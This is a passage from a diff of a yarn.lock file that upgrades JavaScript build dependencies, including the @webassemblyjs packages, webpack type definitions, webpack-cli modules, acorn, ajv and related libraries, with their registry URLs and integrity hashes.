-  integrity sha512-dueRKfaJL4RTtSa7bWeTK1M+VH+Gns73oCgzvYfHZywRCoPSd8EkXBL0mZ9unPTveBn+D9phZBaxuzpwjWkW0g==
+  version "15.0.1"
+  resolved "https://registry.yarnpkg.com/@types/node/-/node-15.0.1.tgz#ef34dea0881028d11398be5bf4e856743e3dc35a"
+  integrity sha512-TMkXt0Ck1y0KKsGr9gJtWGjttxlZnnvDtphxUOSd0bfaR6Q1jle+sPvrzNR1urqYTWMinoKvjKfXUGsumaO1PA==
 
 "@types/q@^1.5.1":
   version "1.5.4"
   resolved "https://registry.yarnpkg.com/@types/q/-/q-1.5.4.tgz#15925414e0ad2cd765bfef58842f7e26a7accb24"
   integrity sha512-1HcDas8SEj4z1Wc696tH56G8OlRaH/sqZOynNNB+HF0WOeXPaxTtbYzJY2oEfiUxjSKjhCKr+MvR7dCHcEelug==
 
-"@webassemblyjs/ast@1.9.0":
-  version "1.9.0"
-  resolved "https://registry.yarnpkg.com/@webassemblyjs/ast/-/ast-1.9.0.tgz#bd850604b4042459a5a41cd7d338cbed695ed964"
-  integrity sha512-C6wW5L+b7ogSDVqymbkkvuW9kruN//YisMED04xzeBBqjHa2FYnmvOlS6Xj68xWQRgWvI9cIglsjFowH/RJyEA==
-  dependencies:
-    "@webassemblyjs/helper-module-context" "1.9.0"
-    "@webassemblyjs/helper-wasm-bytecode" "1.9.0"
-    "@webassemblyjs/wast-parser" "1.9.0"
+"@types/retry@^0.12.0":
+  version "0.12.0"
+  resolved "https://registry.yarnpkg.com/@types/retry/-/retry-0.12.0.tgz#2b35eccfcee7d38cd72ad99232fbd58bffb3c84d"
+  integrity sha512-wWKOClTTiizcZhXnPY4wikVAwmdYHp8q6DmC+EJUzAMsycb7HB32Kh9RN4+0gExjmPmZSAQjgURXIGATPegAvA==
 
-"@webassemblyjs/floating-point-hex-parser@1.9.0":
-  version "1.9.0"
-  resolved "https://registry.yarnpkg.com/@webassemblyjs/floating-point-hex-parser/-/floating-point-hex-parser-1.9.0.tgz#3c3d3b271bddfc84deb00f71344438311d52ffb4"
-  integrity sha512-TG5qcFsS8QB4g4MhrxK5TqfdNe7Ey/7YL/xN+36rRjl/BlGE/NcBvJcqsRgCP6Z92mRE+7N50pRIi8SmKUbcQA==
+"@types/source-list-map@*":
+  version "0.1.2"
+  resolved "https://registry.yarnpkg.com/@types/source-list-map/-/source-list-map-0.1.2.tgz#0078836063ffaf17412349bba364087e0ac02ec9"
+  integrity sha512-K5K+yml8LTo9bWJI/rECfIPrGgxdpeNbj+d53lwN4QjW1MCwlkhUms+gtdzigTeUyBr09+u8BwOIY3MXvHdcsA==
 
-"@webassemblyjs/helper-api-error@1.9.0":
-  version "1.9.0"
-  resolved "https://registry.yarnpkg.com/@webassemblyjs/helper-api-error/-/helper-api-error-1.9.0.tgz#203f676e333b96c9da2eeab3ccef33c45928b6a2"
-  integrity sha512-NcMLjoFMXpsASZFxJ5h2HZRcEhDkvnNFOAKneP5RbKRzaWJN36NC4jqQHKwStIhGXu5mUWlUUk7ygdtrO8lbmw==
+"@types/tapable@^1":
+  version "1.0.7"
+  resolved "https://registry.yarnpkg.com/@types/tapable/-/tapable-1.0.7.tgz#545158342f949e8fd3bfd813224971ecddc3fac4"
+  integrity sha512-0VBprVqfgFD7Ehb2vd8Lh9TG3jP98gvr8rgehQqzztZNI7o8zS8Ad4jyZneKELphpuE212D8J70LnSNQSyO6bQ==
 
-"@webassemblyjs/helper-buffer@1.9.0":
-  version "1.9.0"
-  resolved "https://registry.yarnpkg.com/@webassemblyjs/helper-buffer/-/helper-buffer-1.9.0.tgz#a1442d269c5feb23fcbc9ef759dac3547f29de00"
-  integrity sha512-qZol43oqhq6yBPx7YM3m9Bv7WMV9Eevj6kMi6InKOuZxhw+q9hOkvq5e/PpKSiLfyetpaBnogSbNCfBwyB00CA==
+"@types/uglify-js@*":
+  version "3.13.0"
+  resolved "https://registry.yarnpkg.com/@types/uglify-js/-/uglify-js-3.13.0.tgz#1cad8df1fb0b143c5aba08de5712ea9d1ff71124"
+  integrity sha512-EGkrJD5Uy+Pg0NUR8uA4bJ5WMfljyad0G+784vLCNUkD+QwOJXUbBYExXfVGf7YtyzdQp3L/XMYcliB987kL5Q==
+  dependencies:
+    source-map "^0.6.1"
 
-"@webassemblyjs/helper-code-frame@1.9.0":
-  version "1.9.0"
-  resolved "https://registry.yarnpkg.com/@webassemblyjs/helper-code-frame/-/helper-code-frame-1.9.0.tgz#647f8892cd2043a82ac0c8c5e75c36f1d9159f27"
-  integrity sha512-ERCYdJBkD9Vu4vtjUYe8LZruWuNIToYq/ME22igL+2vj2dQ2OOujIZr3MEFvfEaqKoVqpsFKAGsRdBSBjrIvZA==
+"@types/webpack-sources@*":
+  version "2.1.0"
+  resolved "https://registry.yarnpkg.com/@types/webpack-sources/-/webpack-sources-2.1.0.tgz#8882b0bd62d1e0ce62f183d0d01b72e6e82e8c10"
+  integrity sha512-LXn/oYIpBeucgP1EIJbKQ2/4ZmpvRl+dlrFdX7+94SKRUV3Evy3FsfMZY318vGhkWUS5MPhtOM3w1/hCOAOXcg==
   dependencies:
-    "@webassemblyjs/wast-printer" "1.9.0"
+    "@types/node" "*"
+    "@types/source-list-map" "*"
+    source-map "^0.7.3"
 
-"@webassemblyjs/helper-fsm@1.9.0":
-  version "1.9.0"
-  resolved "https://registry.yarnpkg.com/@webassemblyjs/helper-fsm/-/helper-fsm-1.9.0.tgz#c05256b71244214671f4b08ec108ad63b70eddb8"
-  integrity sha512-OPRowhGbshCb5PxJ8LocpdX9Kl0uB4XsAjl6jH/dWKlk/mzsANvhwbiULsaiqT5GZGT9qinTICdj6PLuM5gslw==
+"@types/webpack@^4.4.31":
+  version "4.41.27"
+  resolved "https://registry.yarnpkg.com/@types/webpack/-/webpack-4.41.27.tgz#f47da488c8037e7f1b2dbf2714fbbacb61ec0ffc"
+  integrity sha512-wK/oi5gcHi72VMTbOaQ70VcDxSQ1uX8S2tukBK9ARuGXrYM/+u4ou73roc7trXDNmCxCoerE8zruQqX/wuHszA==
+  dependencies:
+    "@types/anymatch" "*"
+    "@types/node" "*"
+    "@types/tapable" "^1"
+    "@types/uglify-js" "*"
+    "@types/webpack-sources" "*"
+    source-map "^0.6.0"
 
-"@webassemblyjs/helper-module-context@1.9.0":
-  version "1.9.0"
-  resolved "https://registry.yarnpkg.com/@webassemblyjs/helper-module-context/-/helper-module-context-1.9.0.tgz#25d8884b76839871a08a6c6f806c3979ef712f07"
-  integrity sha512-MJCW8iGC08tMk2enck1aPW+BE5Cw8/7ph/VGZxwyvGbJwjktKkDK7vy7gAmMDx88D7mhDTCNKAW5tED+gZ0W8g==
+"@webassemblyjs/ast@1.11.0":
+  version "1.11.0"
+  resolved "https://registry.yarnpkg.com/@webassemblyjs/ast/-/ast-1.11.0.tgz#a5aa679efdc9e51707a4207139da57920555961f"
+  integrity sha512-kX2W49LWsbthrmIRMbQZuQDhGtjyqXfEmmHyEi4XWnSZtPmxY0+3anPIzsnRb45VH/J55zlOfWvZuY47aJZTJg==
   dependencies:
-    "@webassemblyjs/ast" "1.9.0"
+    "@webassemblyjs/helper-numbers" "1.11.0"
+    "@webassemblyjs/helper-wasm-bytecode" "1.11.0"
 
-"@webassemblyjs/helper-wasm-bytecode@1.9.0":
-  version "1.9.0"
-  resolved "https://registry.yarnpkg.com/@webassemblyjs/helper-wasm-bytecode/-/helper-wasm-bytecode-1.9.0.tgz#4fed8beac9b8c14f8c58b70d124d549dd1fe5790"
-  integrity sha512-R7FStIzyNcd7xKxCZH5lE0Bqy+hGTwS3LJjuv1ZVxd9O7eHCedSdrId/hMOd20I+v8wDXEn+bjfKDLzTepoaUw==
+"@webassemblyjs/floating-point-hex-parser@1.11.0":
+  version "1.11.0"
+  resolved "https://registry.yarnpkg.com/@webassemblyjs/floating-point-hex-parser/-/floating-point-hex-parser-1.11.0.tgz#34d62052f453cd43101d72eab4966a022587947c"
+  integrity sha512-Q/aVYs/VnPDVYvsCBL/gSgwmfjeCb4LW8+TMrO3cSzJImgv8lxxEPM2JA5jMrivE7LSz3V+PFqtMbls3m1exDA==
 
-"@webassemblyjs/helper-wasm-section@1.9.0":
-  version "1.9.0"
-  resolved "https://registry.yarnpkg.com/@webassemblyjs/helper-wasm-section/-/helper-wasm-section-1.9.0.tgz#5a4138d5a6292ba18b04c5ae49717e4167965346"
-  integrity sha512-XnMB8l3ek4tvrKUUku+IVaXNHz2YsJyOOmz+MMkZvh8h1uSJpSen6vYnw3IoQ7WwEuAhL8Efjms1ZWjqh2agvw==
+"@webassemblyjs/helper-api-error@1.11.0":
+  version "1.11.0"
+  resolved "https://registry.yarnpkg.com/@webassemblyjs/helper-api-error/-/helper-api-error-1.11.0.tgz#aaea8fb3b923f4aaa9b512ff541b013ffb68d2d4"
+  integrity sha512-baT/va95eXiXb2QflSx95QGT5ClzWpGaa8L7JnJbgzoYeaA27FCvuBXU758l+KXWRndEmUXjP0Q5fibhavIn8w==
+
+"@webassemblyjs/helper-buffer@1.11.0":
+  version "1.11.0"
+  resolved "https://registry.yarnpkg.com/@webassemblyjs/helper-buffer/-/helper-buffer-1.11.0.tgz#d026c25d175e388a7dbda9694e91e743cbe9b642"
+  integrity sha512-u9HPBEl4DS+vA8qLQdEQ6N/eJQ7gT7aNvMIo8AAWvAl/xMrcOSiI2M0MAnMCy3jIFke7bEee/JwdX1nUpCtdyA==
+
+"@webassemblyjs/helper-numbers@1.11.0":
+  version "1.11.0"
+  resolved "https://registry.yarnpkg.com/@webassemblyjs/helper-numbers/-/helper-numbers-1.11.0.tgz#7ab04172d54e312cc6ea4286d7d9fa27c88cd4f9"
+  integrity sha512-DhRQKelIj01s5IgdsOJMKLppI+4zpmcMQ3XboFPLwCpSNH6Hqo1ritgHgD0nqHeSYqofA6aBN/NmXuGjM1jEfQ==
   dependencies:
-    "@webassemblyjs/ast" "1.9.0"
-    "@webassemblyjs/helper-buffer" "1.9.0"
-    "@webassemblyjs/helper-wasm-bytecode" "1.9.0"
-    "@webassemblyjs/wasm-gen" "1.9.0"
+    "@webassemblyjs/floating-point-hex-parser" "1.11.0"
+    "@webassemblyjs/helper-api-error" "1.11.0"
+    "@xtuc/long" "4.2.2"
 
-"@webassemblyjs/ieee754@1.9.0":
-  version "1.9.0"
-  resolved "https://registry.yarnpkg.com/@webassemblyjs/ieee754/-/ieee754-1.9.0.tgz#15c7a0fbaae83fb26143bbacf6d6df1702ad39e4"
-  integrity sha512-dcX8JuYU/gvymzIHc9DgxTzUUTLexWwt8uCTWP3otys596io0L5aW02Gb1RjYpx2+0Jus1h4ZFqjla7umFniTg==
+"@webassemblyjs/helper-wasm-bytecode@1.11.0":
+  version "1.11.0"
+  resolved "https://registry.yarnpkg.com/@webassemblyjs/helper-wasm-bytecode/-/helper-wasm-bytecode-1.11.0.tgz#85fdcda4129902fe86f81abf7e7236953ec5a4e1"
+  integrity sha512-MbmhvxXExm542tWREgSFnOVo07fDpsBJg3sIl6fSp9xuu75eGz5lz31q7wTLffwL3Za7XNRCMZy210+tnsUSEA==
+
+"@webassemblyjs/helper-wasm-section@1.11.0":
+  version "1.11.0"
+  resolved "https://registry.yarnpkg.com/@webassemblyjs/helper-wasm-section/-/helper-wasm-section-1.11.0.tgz#9ce2cc89300262509c801b4af113d1ca25c1a75b"
+  integrity sha512-3Eb88hcbfY/FCukrg6i3EH8H2UsD7x8Vy47iVJrP967A9JGqgBVL9aH71SETPx1JrGsOUVLo0c7vMCN22ytJew==
+  dependencies:
+    "@webassemblyjs/ast" "1.11.0"
+    "@webassemblyjs/helper-buffer" "1.11.0"
+    "@webassemblyjs/helper-wasm-bytecode" "1.11.0"
+    "@webassemblyjs/wasm-gen" "1.11.0"
+
+"@webassemblyjs/ieee754@1.11.0":
+  version "1.11.0"
+  resolved "https://registry.yarnpkg.com/@webassemblyjs/ieee754/-/ieee754-1.11.0.tgz#46975d583f9828f5d094ac210e219441c4e6f5cf"
+  integrity sha512-KXzOqpcYQwAfeQ6WbF6HXo+0udBNmw0iXDmEK5sFlmQdmND+tr773Ti8/5T/M6Tl/413ArSJErATd8In3B+WBA==
   dependencies:
     "@xtuc/ieee754" "^1.2.0"
 
-"@webassemblyjs/leb128@1.9.0":
-  version "1.9.0"
-  resolved "https://registry.yarnpkg.com/@webassemblyjs/leb128/-/leb128-1.9.0.tgz#f19ca0b76a6dc55623a09cffa769e838fa1e1c95"
-  integrity sha512-ENVzM5VwV1ojs9jam6vPys97B/S65YQtv/aanqnU7D8aSoHFX8GyhGg0CMfyKNIHBuAVjy3tlzd5QMMINa7wpw==
+"@webassemblyjs/leb128@1.11.0":
+  version "1.11.0"
+  resolved "https://registry.yarnpkg.com/@webassemblyjs/leb128/-/leb128-1.11.0.tgz#f7353de1df38aa201cba9fb88b43f41f75ff403b"
+  integrity sha512-aqbsHa1mSQAbeeNcl38un6qVY++hh8OpCOzxhixSYgbRfNWcxJNJQwe2rezK9XEcssJbbWIkblaJRwGMS9zp+g==
   dependencies:
     "@xtuc/long" "4.2.2"
 
-"@webassemblyjs/utf8@1.9.0":
-  version "1.9.0"
-  resolved "https://registry.yarnpkg.com/@webassemblyjs/utf8/-/utf8-1.9.0.tgz#04d33b636f78e6a6813227e82402f7637b6229ab"
-  integrity sha512-GZbQlWtopBTP0u7cHrEx+73yZKrQoBMpwkGEIqlacljhXCkVM1kMQge/Mf+csMJAjEdSwhOyLAS0AoR3AG5P8w==
+"@webassemblyjs/utf8@1.11.0":
+  version "1.11.0"
+  resolved "https://registry.yarnpkg.com/@webassemblyjs/utf8/-/utf8-1.11.0.tgz#86e48f959cf49e0e5091f069a709b862f5a2cadf"
+  integrity sha512-A/lclGxH6SpSLSyFowMzO/+aDEPU4hvEiooCMXQPcQFPPJaYcPQNKGOCLUySJsYJ4trbpr+Fs08n4jelkVTGVw==
 
-"@webassemblyjs/wasm-edit@1.9.0":
-  version "1.9.0"
-  resolved "https://registry.yarnpkg.com/@webassemblyjs/wasm-edit/-/wasm-edit-1.9.0.tgz#3fe6d79d3f0f922183aa86002c42dd256cfee9cf"
-  integrity sha512-FgHzBm80uwz5M8WKnMTn6j/sVbqilPdQXTWraSjBwFXSYGirpkSWE2R9Qvz9tNiTKQvoKILpCuTjBKzOIm0nxw==
-  dependencies:
-    "@webassemblyjs/ast" "1.9.0"
-    "@webassemblyjs/helper-buffer" "1.9.0"
-    "@webassemblyjs/helper-wasm-bytecode" "1.9.0"
-    "@webassemblyjs/helper-wasm-section" "1.9.0"
-    "@webassemblyjs/wasm-gen" "1.9.0"
-    "@webassemblyjs/wasm-opt" "1.9.0"
-    "@webassemblyjs/wasm-parser" "1.9.0"
-    "@webassemblyjs/wast-printer" "1.9.0"
-
-"@webassemblyjs/wasm-gen@1.9.0":
-  version "1.9.0"
-  resolved "https://registry.yarnpkg.com/@webassemblyjs/wasm-gen/-/wasm-gen-1.9.0.tgz#50bc70ec68ded8e2763b01a1418bf43491a7a49c"
-  integrity sha512-cPE3o44YzOOHvlsb4+E9qSqjc9Qf9Na1OO/BHFy4OI91XDE14MjFN4lTMezzaIWdPqHnsTodGGNP+iRSYfGkjA==
+"@webassemblyjs/wasm-edit@1.11.0":
+  version "1.11.0"
+  resolved "https://registry.yarnpkg.com/@webassemblyjs/wasm-edit/-/wasm-edit-1.11.0.tgz#ee4a5c9f677046a210542ae63897094c2027cb78"
+  integrity sha512-JHQ0damXy0G6J9ucyKVXO2j08JVJ2ntkdJlq1UTiUrIgfGMmA7Ik5VdC/L8hBK46kVJgujkBIoMtT8yVr+yVOQ==
+  dependencies:
+    "@webassemblyjs/ast" "1.11.0"
+    "@webassemblyjs/helper-buffer" "1.11.0"
+    "@webassemblyjs/helper-wasm-bytecode" "1.11.0"
+    "@webassemblyjs/helper-wasm-section" "1.11.0"
+    "@webassemblyjs/wasm-gen" "1.11.0"
+    "@webassemblyjs/wasm-opt" "1.11.0"
+    "@webassemblyjs/wasm-parser" "1.11.0"
+    "@webassemblyjs/wast-printer" "1.11.0"
+
+"@webassemblyjs/wasm-gen@1.11.0":
+  version "1.11.0"
+  resolved "https://registry.yarnpkg.com/@webassemblyjs/wasm-gen/-/wasm-gen-1.11.0.tgz#3cdb35e70082d42a35166988dda64f24ceb97abe"
+  integrity sha512-BEUv1aj0WptCZ9kIS30th5ILASUnAPEvE3tVMTrItnZRT9tXCLW2LEXT8ezLw59rqPP9klh9LPmpU+WmRQmCPQ==
   dependencies:
-    "@webassemblyjs/ast" "1.9.0"
-    "@webassemblyjs/helper-wasm-bytecode" "1.9.0"
-    "@webassemblyjs/ieee754" "1.9.0"
-    "@webassemblyjs/leb128" "1.9.0"
-    "@webassemblyjs/utf8" "1.9.0"
+    "@webassemblyjs/ast" "1.11.0"
+    "@webassemblyjs/helper-wasm-bytecode" "1.11.0"
+    "@webassemblyjs/ieee754" "1.11.0"
+    "@webassemblyjs/leb128" "1.11.0"
+    "@webassemblyjs/utf8" "1.11.0"
 
-"@webassemblyjs/wasm-opt@1.9.0":
-  version "1.9.0"
-  resolved "https://registry.yarnpkg.com/@webassemblyjs/wasm-opt/-/wasm-opt-1.9.0.tgz#2211181e5b31326443cc8112eb9f0b9028721a61"
-  integrity sha512-Qkjgm6Anhm+OMbIL0iokO7meajkzQD71ioelnfPEj6r4eOFuqm4YC3VBPqXjFyyNwowzbMD+hizmprP/Fwkl2A==
+"@webassemblyjs/wasm-opt@1.11.0":
+  version "1.11.0"
+  resolved "https://registry.yarnpkg.com/@webassemblyjs/wasm-opt/-/wasm-opt-1.11.0.tgz#1638ae188137f4bb031f568a413cd24d32f92978"
+  integrity sha512-tHUSP5F4ywyh3hZ0+fDQuWxKx3mJiPeFufg+9gwTpYp324mPCQgnuVKwzLTZVqj0duRDovnPaZqDwoyhIO8kYg==
   dependencies:
-    "@webassemblyjs/ast" "1.9.0"
-    "@webassemblyjs/helper-buffer" "1.9.0"
-    "@webassemblyjs/wasm-gen" "1.9.0"
-    "@webassemblyjs/wasm-parser" "1.9.0"
+    "@webassemblyjs/ast" "1.11.0"
+    "@webassemblyjs/helper-buffer" "1.11.0"
+    "@webassemblyjs/wasm-gen" "1.11.0"
+    "@webassemblyjs/wasm-parser" "1.11.0"
 
-"@webassemblyjs/wasm-parser@1.9.0":
-  version "1.9.0"
-  resolved "https://registry.yarnpkg.com/@webassemblyjs/wasm-parser/-/wasm-parser-1.9.0.tgz#9d48e44826df4a6598294aa6c87469d642fff65e"
-  integrity sha512-9+wkMowR2AmdSWQzsPEjFU7njh8HTO5MqO8vjwEHuM+AMHioNqSBONRdr0NQQ3dVQrzp0s8lTcYqzUdb7YgELA==
+"@webassemblyjs/wasm-parser@1.11.0":
+  version "1.11.0"
+  resolved "https://registry.yarnpkg.com/@webassemblyjs/wasm-parser/-/wasm-parser-1.11.0.tgz#3e680b8830d5b13d1ec86cc42f38f3d4a7700754"
+  integrity sha512-6L285Sgu9gphrcpDXINvm0M9BskznnzJTE7gYkjDbxET28shDqp27wpruyx3C2S/dvEwiigBwLA1cz7lNUi0kw==
   dependencies:
-    "@webassemblyjs/ast" "1.9.0"
-    "@webassemblyjs/helper-api-error" "1.9.0"
-    "@webassemblyjs/helper-wasm-bytecode" "1.9.0"
-    "@webassemblyjs/ieee754" "1.9.0"
-    "@webassemblyjs/leb128" "1.9.0"
-    "@webassemblyjs/utf8" "1.9.0"
+    "@webassemblyjs/ast" "1.11.0"
+    "@webassemblyjs/helper-api-error" "1.11.0"
+    "@webassemblyjs/helper-wasm-bytecode" "1.11.0"
+    "@webassemblyjs/ieee754" "1.11.0"
+    "@webassemblyjs/leb128" "1.11.0"
+    "@webassemblyjs/utf8" "1.11.0"
 
-"@webassemblyjs/wast-parser@1.9.0":
-  version "1.9.0"
-  resolved "https://registry.yarnpkg.com/@webassemblyjs/wast-parser/-/wast-parser-1.9.0.tgz#3031115d79ac5bd261556cecc3fa90a3ef451914"
-  integrity sha512-qsqSAP3QQ3LyZjNC/0jBJ/ToSxfYJ8kYyuiGvtn/8MK89VrNEfwj7BPQzJVHi0jGTRK2dGdJ5PRqhtjzoww+bw==
-  dependencies:
-    "@webassemblyjs/ast" "1.9.0"
-    "@webassemblyjs/floating-point-hex-parser" "1.9.0"
-    "@webassemblyjs/helper-api-error" "1.9.0"
-    "@webassemblyjs/helper-code-frame" "1.9.0"
-    "@webassemblyjs/helper-fsm" "1.9.0"
+"@webassemblyjs/wast-printer@1.11.0":
+  version "1.11.0"
+  resolved "https://registry.yarnpkg.com/@webassemblyjs/wast-printer/-/wast-printer-1.11.0.tgz#680d1f6a5365d6d401974a8e949e05474e1fab7e"
+  integrity sha512-Fg5OX46pRdTgB7rKIUojkh9vXaVN6sGYCnEiJN1GYkb0RPwShZXp6KTDqmoMdQPKhcroOXh3fEzmkWmCYaKYhQ==
+  dependencies:
+    "@webassemblyjs/ast" "1.11.0"
     "@xtuc/long" "4.2.2"
 
-"@webassemblyjs/wast-printer@1.9.0":
-  version "1.9.0"
-  resolved "https://registry.yarnpkg.com/@webassemblyjs/wast-printer/-/wast-printer-1.9.0.tgz#4935d54c85fef637b00ce9f52377451d00d47899"
-  integrity sha512-2J0nE95rHXHyQ24cWjMKJ1tqB/ds8z/cyeOZxJhcb+rW+SQASVjuznUSmdz5GpVJTzU8JkhYut0D3siFDD6wsA==
+"@webpack-cli/configtest@^1.0.2":
+  version "1.0.2"
+  resolved "https://registry.yarnpkg.com/@webpack-cli/configtest/-/configtest-1.0.2.tgz#2a20812bfb3a2ebb0b27ee26a52eeb3e3f000836"
+  integrity sha512-3OBzV2fBGZ5TBfdW50cha1lHDVf9vlvRXnjpVbJBa20pSZQaSkMJZiwA8V2vD9ogyeXn8nU5s5A6mHyf5jhMzA==
+
+"@webpack-cli/info@^1.2.3":
+  version "1.2.3"
+  resolved "https://registry.yarnpkg.com/@webpack-cli/info/-/info-1.2.3.tgz#ef819d10ace2976b6d134c7c823a3e79ee31a92c"
+  integrity sha512-lLek3/T7u40lTqzCGpC6CAbY6+vXhdhmwFRxZLMnRm6/sIF/7qMpT8MocXCRQfz0JAh63wpbXLMnsQ5162WS7Q==
   dependencies:
-    "@webassemblyjs/ast" "1.9.0"
-    "@webassemblyjs/wast-parser" "1.9.0"
-    "@xtuc/long" "4.2.2"
+    envinfo "^7.7.3"
+
+"@webpack-cli/serve@^1.3.1":
+  version "1.3.1"
+  resolved "https://registry.yarnpkg.com/@webpack-cli/serve/-/serve-1.3.1.tgz#911d1b3ff4a843304b9c3bacf67bb34672418441"
+  integrity sha512-0qXvpeYO6vaNoRBI52/UsbcaBydJCggoBBnIo/ovQQdn6fug0BgwsjorV1hVS7fMqGVTZGcVxv8334gjmbj5hw==
 
 "@xtuc/ieee754@^1.2.0":
   version "1.2.0"
@@ -1087,16 +1186,16 @@ acorn-walk@^7.0.0:
   resolved "https://registry.yarnpkg.com/acorn-walk/-/acorn-walk-7.2.0.tgz#0de889a601203909b0fbe07b8938dc21d2e967bc"
   integrity sha512-OPdCF6GsMIP+Az+aWfAAOEt2/+iVDKE7oy6lJ098aoe59oAmK76qV6Gw60SbZ8jHuG2wH058GF4pLFbYamYrVA==
 
-acorn@^6.4.1:
-  version "6.4.2"
-  resolved "https://registry.yarnpkg.com/acorn/-/acorn-6.4.2.tgz#35866fd710528e92de10cf06016498e47e39e1e6"
-  integrity sha512-XtGIhXwF8YM8bJhGxG5kXgjkEuNGLTkoYqVE+KMR+aspr4KGYmKYg7yUe3KghyQ9yheNwLnjmzh/7+gfDBmHCQ==
-
 acorn@^7.0.0:
   version "7.4.1"
   resolved "https://registry.yarnpkg.com/acorn/-/acorn-7.4.1.tgz#feaed255973d2e77555b83dbc08851a6c63520fa"
   integrity sha512-nQyp0o1/mNdbTO1PO6kHkwSrmgZ0MT/jCCpNiwbUjGoRN4dlBhqJtoQuCnEOKzgTVwg0ZWiCoQy6SxMebQVh8A==
 
+acorn@^8.2.1:
+  version "8.2.2"
+  resolved "https://registry.yarnpkg.com/acorn/-/acorn-8.2.2.tgz#c4574e4fea298d6e6ed4b85ab844b06dd59f26d6"
+  integrity sha512-VrMS8kxT0e7J1EX0p6rI/E0FbfOVcvBpbIqHThFv+f8YrZIlMfVotYcXKVPmTvPW8sW5miJzfUFrrvthUZg8VQ==
+
 adjust-sourcemap-loader@3.0.0:
   version "3.0.0"
   resolved "https://registry.yarnpkg.com/adjust-sourcemap-loader/-/adjust-sourcemap-loader-3.0.0.tgz#5ae12fb5b7b1c585e80bbb5a63ec163a1a45e61e"
@@ -1138,17 +1237,20 @@ admin-lte@^2.4:
     select2 "^4.0.3"
     slimscroll "^0.9.1"
 
-ajv-errors@^1.0.0:
-  version "1.0.1"
-  resolved "https://registry.yarnpkg.com/ajv-errors/-/ajv-errors-1.0.1.tgz#f35986aceb91afadec4102fbd85014950cefa64d"
-  integrity sha512-DCRfO/4nQ+89p/RK43i8Ezd41EqdGIU4ld7nGF8OQ14oc/we5rEntLCUa7+jrn3nn83BosfwZA0wb4pon2o8iQ==
+aggregate-error@^3.0.0:
+  version "3.1.0"
+  resolved "https://registry.yarnpkg.com/aggregate-error/-/aggregate-error-3.1.0.tgz#92670ff50f5359bdb7a3e0d40d0ec30c5737687a"
+  integrity sha512-4I7Td01quW/RpocfNayFdFVk1qSuoh0E7JrbRJ16nH01HhKFQ88INq9Sd+nd72zqRySlr9BmDA8xlEJ6vJMrYA==
+  dependencies:
+    clean-stack "^2.0.0"
+    indent-string "^4.0.0"
 
-ajv-keywords@^3.1.0, ajv-keywords@^3.4.1, ajv-keywords@^3.5.2:
+ajv-keywords@^3.5.2:
   version "3.5.2"
   resolved "https://registry.yarnpkg.com/ajv-keywords/-/ajv-keywords-3.5.2.tgz#31f29da5ab6e00d1c2d329acf7b5929614d5014d"
   integrity sha512-5p6WTN0DdTGVQk6VjcEju19IgaHudalcfabD7yhDGeA6bcQnmL+CpveLJq/3hvfwd1aof6L386Ougkx6RfyMIQ==
 
-ajv@^6.1.0, ajv@^6.10.2, ajv@^6.12.3, ajv@^6.12.4:
+ajv@^6.12.3, ajv@^6.12.4, ajv@^6.12.5:
   version "6.12.6"
   resolved "https://registry.yarnpkg.com/ajv/-/ajv-6.12.6.tgz#baf5a62e802b07d977034586f8c3baf5adf26df4"
   integrity sha512-j3fVLgvTo527anyYyJOGTYJbG+vnnQYvE0m5mmkc1TK+nxAppkCLMIL0aZ4dblVCNoGShhm+kzE4ZUykBoMg4g==
@@ -1168,12 +1270,12 @@ amdefine@>=0.0.4:
   resolved "https://registry.yarnpkg.com/amdefine/-/amdefine-1.0.1.tgz#4a5282ac164729e93619bcfd3ad151f817ce91f5"
   integrity sha1-SlKCrBZHKek2Gbz9OtFR+BfOkfU=
 
-ansi-colors@^3.0.0:
-  version "3.2.4"
-  resolved "https://registry.yarnpkg.com/ansi-colors/-/ansi-colors-3.2.4.tgz#e3a3da4bfbae6c86a9c285625de124a234026fbf"
-  integrity sha512-hHUXGagefjN2iRrID63xckIvotOXOojhQKWIPUZ4mNUZ9nLZW+7FMNoE1lOkEhNWYsx/7ysGIuJYCiMAA9FnrA==
+ansi-colors@^4.1.1:
+  version "4.1.1"
+  resolved "https://registry.yarnpkg.com/ansi-colors/-/ansi-colors-4.1.1.tgz#cbb9ae256bf750af1eab344f229aa27fe94ba348"
+  integrity sha512-JoX0apGbHaUJBNl6yF+p6JAFYZ666/hhCGKN5t9QFjbJQKUU/g8MNbFDbvfrgKXvI1QpZplPOnwIo99lX/AAmA==
 
-ansi-html@0.0.7:
+ansi-html@^0.0.7:
   version "0.0.7"
   resolved "https://registry.yarnpkg.com/ansi-html/-/ansi-html-0.0.7.tgz#813584021962a9e9e6fd039f940d12f56ca7859e"
   integrity sha1-gTWEAhliqenm/QOflA0S9WynhZ4=
@@ -1210,13 +1312,12 @@ ansi-styles@^3.2.0, ansi-styles@^3.2.1:
   dependencies:
     color-convert "^1.9.0"
 
-anymatch@^2.0.0:
-  version "2.0.0"
-  resolved "https://registry.yarnpkg.com/anymatch/-/anymatch-2.0.0.tgz#bcb24b4f37934d9aa7ac17b4adaf89e7c76ef2eb"
-  integrity sha512-5teOsQWABXHHBFP9y3skS5P3d/WfWXpv3FUpy+LorMrNYaT9pI4oLMQX7jzQ2KklNpGpWHzdCXTDT2Y3XGlZBw==
+ansi-styles@^4.1.0:
+  version "4.3.0"
+  resolved "https://registry.yarnpkg.com/ansi-styles/-/ansi-styles-4.3.0.tgz#edd803628ae71c04c85ae7a0906edad34b648937"
+  integrity sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==
   dependencies:
-    micromatch "^3.1.4"
-    normalize-path "^2.1.1"
+    color-convert "^2.0.1"
 
 anymatch@~3.1.1:
   version "3.1.2"
@@ -1226,7 +1327,7 @@ anymatch@~3.1.1:
     normalize-path "^3.0.0"
     picomatch "^2.0.4"
 
-aproba@^1.0.3, aproba@^1.1.1:
+aproba@^1.0.3:
   version "1.2.0"
   resolved "https://registry.yarnpkg.com/aproba/-/aproba-1.2.0.tgz#6802e6264efd18c790a1b0d517f0f2627bf2c94a"
   integrity sha512-Y9J6ZjXtoYh8RnXVCMOU/ttDmk1aBjunq9vO0ta5x85WDQiQfUF9sIPBITdbiiIVcBo03Hi3jMxigBtsddlXRw==
@@ -1251,21 +1352,6 @@ arity-n@^1.0.4:
   resolved "https://registry.yarnpkg.com/arity-n/-/arity-n-1.0.4.tgz#d9e76b11733e08569c0847ae7b39b2860b30b745"
   integrity sha1-2edrEXM+CFacCEeuezmyhgswt0U=
 
-arr-diff@^4.0.0:
-  version "4.0.0"
